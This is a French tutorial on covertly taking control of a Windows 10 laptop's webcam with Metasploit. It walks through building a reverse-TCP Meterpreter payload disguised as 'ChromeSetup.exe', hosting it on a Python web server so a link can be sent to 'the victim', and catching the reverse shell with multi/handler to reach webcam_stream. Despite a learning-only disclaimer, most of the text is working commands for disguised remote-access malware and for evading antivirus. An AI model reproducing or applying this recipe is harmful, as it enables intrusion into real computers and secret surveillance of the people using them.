Hacker une webcam Windows 10 - Metasploit

Ce projet est uniquement destiné à l'apprentissage et ne doit pas être utilisé à des fins malveillantes. Ces tests ont été réalisés sur un appareil personnel. Dans ce projet, je vais apprendre à pirater la webcam de mon ordinateur portable Windows 10. (mode root requis).

1.....OK

Tout d'abord, je vais utiliser MSFVenom ! Mais qu'est-ce que MSFVenom ?

MFSVenom est un outil inclus dans le framework Metasploit. Il est le résultat de la fusion des anciens outils MSFpayload et MSFencode. MSFVenom sera utilisé pour créer un payload 1 avec un encodage. (voire multi-encodage) pour échapper aux antivirus, par exemple. L'outil est lancé dans un terminal.

2.....OK

mfsvenom -p windows/x64/meterpreter/reverse_tcp lhost=<adresse-ip-kali(xxx.xxx.x.xx)> lport=<port d'écoute (inmyexample1234> -f exe > ChromeSetup.exe.

Cette commande génère un payload pour le framework Metasploit avec l'intention de créer un exécutable Windows (.exe).

Analysons :

||| mfsvenom : Il s'agit de la principale commande de génération d'un payload de Metasploit.

||| -p windows/x64/meterpreter/reverse_tcp : Cette commande spécifie le type de charge utile à générer. Dans ce cas, il s'agit d'une charge utile pour l'architecture Windows 64 bits qui utilise le module Meterpreter pour établir une connexion reverse_tcp. Cela signifie que la machine cible se connectera à l'adresse IP kali du hacker spécifiée pour établir une session de contrôle à distance.

||| lhost=<ip-adress-kali(xxx.xxx.x.xx)> Il s'agit de l'adresse IP de la machine de l'attaquant qui écoute la connexion et la machine cible tentera de se connecter à cette adresse IP pour établir une session de contrôle à distance via le payload générée.

||| lport=<port d'écoute (inmyexample1234> : C'est le port sur lequel nous allons écouter la connexion entrante (vous pouvez utiliser 65 000 ports, j'ai choisi 1234).

|||-f exe : Ceci spécifie le format de sortie de la charge utile, dans ce cas un exécutable Windows (extension .exe).

|||> ChromeSetup.exe : Cette commande redirige la sortie de la commande vers un fichier appelé "ChromeSetup.exe". Il s'agit du fichier exécutable qui sera généré et potentiellement utilisé dans le cadre d'une attaque.

3.....OK

Ensuite, nous voulons lancer un script python dans notre fenêtre Terminal. Si python ne fonctionne pas, essayez d'utiliser python 2 ou 3.

python -m SimpleHTTPServer 8080

Il s'agit d'une commande Python utilisée pour lancer un simple serveur web dans le répertoire courant. Ce serveur utilise le port spécifié, dans cet exemple 8080.

Analysons :

||| python : C'est le programme d'interprétation Python.

||| -m SimpleHTTPServer : Il s'agit d'un module Python intégré appelé SimpleHTTPServer, qui fournit un serveur HTTP de base pour servir les fichiers dans le répertoire actuel.

||| 8080 : Il s'agit du numéro de port sur lequel le serveur écoutera les connexions entrantes.

Une fois que vous avez exécuté cette commande, le serveur web est démarré dans le répertoire à partir duquel vous avez lancé la commande. Vous pourrez accéder aux fichiers de ce répertoire via un navigateur web, en utilisant l'adresse http://localhost:8080 dans ce cas. Cela est nécessaire pour héberger le fichier exécutable ChromeSetup.exe ce qui facilitera la distribution du programme on pourra ensuite fournir un lien direct à la victime.

NOTE IMPORTANTE : En écrivant ce texte, j'ai appris que la commande python -m SimpleHTTPServer 8080 utilise le module SimpleHTTPServer était présent dans les versions de Python 2.x. Or, si vous utilisez Python 3.x, ce module a été remplacé par le module http.server. Voici comment exécuter un serveur HTTP simple avec Python 3.x :

python -m http.server 8080

4.....OK

Maintenant il nous reste à configurer notre environnement (hacker) pour exploiter le payload.

Lancez maintenant Metasploit : (msfconsole -q) pour démarrer le framework Metasploit en mode console (msfconsole) avec l'option -q, qui signifie "quiet".

L'option -q est utilisée pour démarrer Metasploit en mode silencieux, ce qui signifie que les bannières et les informations de bienvenue ne seront pas affichées au démarrage.

Vous devriez voir apparaître la balise msf6 :

1- msf6 > use exploit/multi/handler est utilisé pour configurer Metasploit en tant que gestionnaire d'exploits. Le gestionnaire d'exploits est utilisé pour écouter les reverse shells générés par les exploits ou les payloads s'exécutant sur les machines cibles.

2 - Définir le payload que vous souhaitez libérer

msf6 > set payload windows/x64/meterpreter/reverse_tcp est utilisé pour définir le type de payload que vous souhaitez utiliser. Le payload spécifiée détermine le comportement du payload qui sera délivrée à la machine cible en cas d'exploitation réussie.

3-Definir l'ip de notre machine kali (si on est sur kali)

msf6 > set lhost <ip-adress-kali(xxx.xxx.x.xx)>

La commande set LHOST XXX.XXX.X.XXX de Metasploit est utilisée pour définir l'adresse IP sur laquelle le gestionnaire d'exploitation écoute les connexions de retour. Dans cet exemple, l'adresse IP spécifiée est XXX.XXX.X.XXX. L'adresse IP de votre machine Kali est essentielle car elle indique à Metasploit où envoyer les paquets et les données lors de l'écoute.

4-Set the port msf6 > set lport 1234

5-Use Run or Exploit for launch

Maintenant vous pouvez voir 1 session ouverte :

Kali --> windows10

Vous pouvez taper shell pour avoir la confirmation de la connexion.

Maintenant vous êtes dans le pc windows D:>

Tapez help pour voir les différents fichiers windows ensuite tapez exit et maintenant meterpreter > help. Vous pouvez voir maintenant des outils pour metasploit et parmis eux webcam_stream.

Et vous y êtes vous avez maintenant accès à la webcam (L'exécutable doit être livré et ouvert par la cible pour que cela fonctionne vous pouvez y parvenir par plusieurs méthodes).